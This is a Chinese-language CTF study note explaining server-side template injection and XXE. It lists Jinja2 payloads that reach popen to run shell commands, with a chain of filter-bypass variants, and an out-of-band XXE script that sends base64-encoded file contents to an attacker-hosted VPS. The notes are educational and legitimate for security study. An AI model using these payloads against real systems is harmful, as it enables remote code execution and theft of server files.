SSTI
核心概念
服务器端模板注入 是一种发生在应用层的注入类漏洞。当攻击者能够将恶意 payload 注入到 Web 应用程序使用的模板引擎中,并且该 payload被服务器端作为模板的一部分进行解析和执行时,就构成了 SSTI 漏洞。
技术原理
- 模板引擎的工作机制:现代 Web 应用常用模板引擎(如 Jinja2, Twig, Freemarker, Velocity, Smarty 等)来动态生成 HTML、XML 等文档。模板包含静态内容和动态占位符(变量、控制逻辑如 {% if %},{% for %} 等)。
- 漏洞成因:如果应用程序将用户输入未经安全处理(如转义、沙箱隔离)就直接拼接至模板中,模板引擎会将其误认为是模板代码的一部分进行解析,而非普通数据。
- 攻击面:常见于用户可控数据被直接用于模板渲染的地方,例如:
用户个人资料页的姓名字段
电子邮件模板
搜索结果的渲染
任何接收并显示动态内容的端点
危害与影响
SSTI 的危害程度极高,因为它通常会导致:
- 远程代码执行:这是最严重的后果。攻击者可以突破模板的沙箱(如果存在)或利用模板引擎的内置功能执行任意操作系统命令,从而完全控制服务器。
- 敏感信息泄露:访问并泄露应用程序的配置、数据库连接字符串、环境变量或服务器上的其他敏感文件。
- 服务器权限提升:作为 Web 服务进程(如 www-data, apache)运行,攻击者可利用此权限进行内网横向移动。
题型总结
注入的思路(这里的payload都是手搓的也都挺长的 如果出现了错误师傅们可以直接指正)
首先通过?name={{x.__class__.__base__.__subclasses__()}}
来查看有哪些内建函数
然后 选择需要调用的函数进行调用?name={{"".__class__.__bases__.__subclasses__()[132].__init__.__globals__['popen']('cat /flag').read()}}
绕过的方法
- 过滤了数字
使用全角数字
‘0’,‘1’,‘2’,‘3’,‘4’,‘5’,‘6’,‘7’,‘8’,‘9’
- 过滤了'' ""
使用request
例子:?name={{"".__class__.__bases__.__subclasses__()[132].__init__.__globals__[request.args.abc](request.args.def).read()}}&abc=popen&def=cat /flag
使用char函数x.__init__.__globals__[(config.str()[2])%2b(config.str()[42])]
等价于 x.__init__.__globals__['os']
- 过滤了'' ""和args
使用cookie替代args?name={{"".__class__.__bases__.__subclasses__()[132].__init__.__globals__['popen']('cat /flag').read()}}
等价于
`?name={{"".__class__.__bases__.__subclasses__()[132].__init__.__globals__request.cookies.a.read()}}
cookie传参:a=popen;b=cat /flag`
使用request.values替代request.args?name={{"".__class__.__bases__.__subclasses__()[132].__init__.__globals__['popen']('cat /flag').read()}}
等价于?name={{"".__class__.__bases__.__subclasses__()[132].__init__.__globals__[request.values.a](request.values.b).read()}}&a=popen&b=cat /flag
- 过滤了'' "" args和[
这里新加的[需要使用__getitem__来绕过?name={{"".__class__.__bases__.__subclasses__()[132].__init__.__globals__['popen']('cat /flag').read()}}
等价于?name={{"".__class__.__bases__.__subclasses__().__getitem__(132).__init__.__globals__.popen(request.values.a).read()}}&a=cat /flag
- 过滤了'' "" args [和_
?name={{"".__class__.__bases__.__subclasses__()[132].__init__.__globals__['popen']('cat /flag').read()}}
新增的_需要使用|attr()+request对象来绕过
""|attr("__class__")相当于"".__class__
原式子就可以等价于?name={{x|attr(request.values.a)|attr(request.values.b)|attr(request.values.c)|attr(request.values.d)(132)|attr(request.values.e)|attr(request.values.f).popen(request.values.g).read()}}&a=__class__&b=__bases__&c=__subclasses__&d=__getitem__&e=__init__&f=__globals&g=cat /flag
- 过滤了'' "" args [ _和{{
新增的{{可以使用{%print(......)%}绕过?name={%print(x|attr(request.values.a)|attr(request.values.b)|attr(request.values.c)|attr(request.values.d)(132)|attr(request.values.e)|attr(request.values.f).popen(request.values.g).read())}&a=__class__&b=__bases__&c=__subclasses__&d=__getitem__&e=__init__&f=__globals&g=cat /flag
或者使用{%set来绕过过滤?name={%set(x|attr(request.values.a)|attr(request.values.b)|attr(request.values.c)|attr(request.values.d)(132)|attr(request.values.e)|attr(request.values.f).popen(request.values.g).read())}&a=__class__&b=__bases__&c=__subclasses__&d=__getitem__&e=__init__&f=__globals&g=cat /flag
上面都是根据ctfshow进行的总结归纳 后面还有一些分类 但是绕过姿势难嚼 决定先放着 现在要先学点别的)
XXE
核心概念
XML 外部实体注入 是一种针对解析 XML 输入的应用程序的漏洞。当配置不当的 XML 解析器处理了包含外部实体引用的恶意 XML 文档时,攻击者可以利用该功能读取内部文件、进行内网探测、执行远程代码或发起拒绝服务攻击。
关键函数:启用外部实体加载:libxml_disable_entity_loader(false) 允许解析外部实体。
技术原理
- XML 实体:XML 实体是用于定义引用普通文本或特殊字符的占位符。例如,< 代表 <。
- 外部实体:是一种特殊的实体,其定义位于 XML 文档之外(如外部文件或 URL)。其语法为:
<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]>
这里,实体 xxe 被定义为外部文件 /etc/passwd 的内容。
- 漏洞成因:如果应用程序接收 XML 输入(如 SOAP API、文档上传、RSS 订阅等),并且其使用的 XML 解析器启用了对外部实体的处理(通常默认是禁用的),攻击者就可以在提交的 XML 中构造恶意的外部实体定义,诱导服务器解析它。
危害与影响
XXE 的危害多样且严重:
- 敏感文件读取:最常见的利用方式。通过 file:// 协议读取服务器上的任意文件(如 /etc/passwd, /proc/self/environ, 应用程序配置文件、源代码等)。
- 内网侦察与服务端请求伪造:通过 http:// 等协议,让服务器向内部网络或本地系统发起 HTTP 请求,扫描内网端口和服务(SSRF)。
- 远程代码执行:在特定环境下(如 PHP 的 Expect 包装器),可能实现 RCE。
- 拒绝服务:通过构造“亿级实体膨胀”攻击(Billion Laughs Attack),消耗大量服务器内存,导致服务崩溃。
题型总结
- 无回显XXE
特征:contentType: "application/xml;charset=utf-8"
因为它表明客户端正在向服务器发送 XML 数据,而服务器可能配置不当的 XML 解析器处理这些数据,从而可能被利用来进行无回显的 XXE 攻击。
考虑数据外带
这里使用vps外带
首先在vps上传flag.dtd文件
<!ENTITY % dtd "<!ENTITY % showflag SYSTEM 'http://vps:111/%file;'>">
<!--test.dtd的内容,内部的%号要进行实体编码成% 相当于% showflag-->
<!-- 引用(执行)dtd实体,vps被注册 -->
%dtd;
<!-- 引用(执行)vps实体,接收%file变量的内容 -->
%showflag;
本地运行下面的python脚本
import requests
url = 'http://947fc074-706d-4434-9a6a-fb4b2f4f8f59.challenge.ctf.show/'
payload = """<!DOCTYPE hacker[ <!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=/flag">
<!ENTITY % dtds SYSTEM "http://vps:8888/test.dtd">
%dtds;
]>
<root>
1
</root>"""
payload = payload.encode('utf-8')
requests.post(url ,data=payload)
然后打开端口用于提供DTD文件。XML解析器需要从外部加载DTD,因此需要一个Web服务器来托管这个文件。 这里使用的是python
python -m http.server 123
得到回显之后再打开端口接收数据 DTD中的实体触发HTTP请求,将数据发送到另一个端口,避免与DTD服务冲突。
python -m http.server 111
这样就ok了
- 无回显XXE且过滤http
把payload转为utf-16或者utf-32编码就可以
import requests
url = ''
payload = """<!DOCTYPE hacker[ <!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=/flag">
<!ENTITY % dtds SYSTEM "http://vps:8888/test.dtd">
%dtds;
]>
<root>
1
</root>"""
payload = payload.encode('utf-16')
requests.post(url ,data=payload)
总结
将这两个放在一起总结是因为它们都是基于过于信任用户输入的数据,没有做严格的过滤和检查,把数据错误地当成了代码/指令来执行的这样一个流程。
但还是有差别的比如原理上SSTI是把用户输入当成了模板代码来执行 而XML是利用XML解析器加载外部资源的功能 行为上SSTI是执行命令,控制服务器 而XML是读取文件,探测内网